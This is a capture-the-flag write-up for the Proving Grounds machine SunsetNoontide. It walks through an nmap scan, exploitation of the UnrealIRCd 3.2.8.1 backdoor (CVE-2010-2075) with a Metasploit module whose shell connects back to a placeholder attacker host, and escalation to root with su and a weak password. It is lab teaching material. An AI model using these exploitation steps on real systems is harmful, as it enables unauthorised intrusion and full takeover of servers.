SunsetNoontide Writeup - Proving Grounds
Created October 7, 2026 • Last updated October 7, 2026 • 2 min read
SunsetNoontide runs UnrealIRCd 3.2.8.1 on port 6667, a version that ships a well-known backdoor giving remote code execution (CVE-2010-2075) as the server user. The root account then uses a trivially weak password, so su lands root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE 6667/tcp open irc
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
Only IRC is open. Connect with an IRC client to read the server banner.
IRC enumeration
Connect to the IRC server.
-!- Your host is irc.foonet.com, running version Unreal3.2.8.1 -!- This server was created Sat 08 Aug 2020 -!- NETWORK=ROXnet
The server runs UnrealIRCd 3.2.8.1.
Exploitation
UnrealIRCd backdoor RCE (CVE-2010-2075)
UnrealIRCd 3.2.8.1 was distributed with a backdoor that executes any command prefixed with AB. Use the Metasploit module.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS $TARGET_IP msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST $ATTACKER_IP msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit [*] Command shell session 1 opened whoami server server@noontide:~/irc/Unreal3.2$ id uid=1000(server) gid=1000(server) groups=1000(server)
The exploit returns a shell as server. Try escalating with a weak root password.
Privilege Escalation
Weak root password
The root account uses a trivially guessable password.
server@noontide:~$ su root Password: root@noontide:/home/server# id uid=0(root) gid=0(root) groups=0(root)
The weak root password lets su return a root shell.
Related
References
-
UnrealIRCd 3.2.8.1 distributed with a backdoor allowing arbitrary command execution.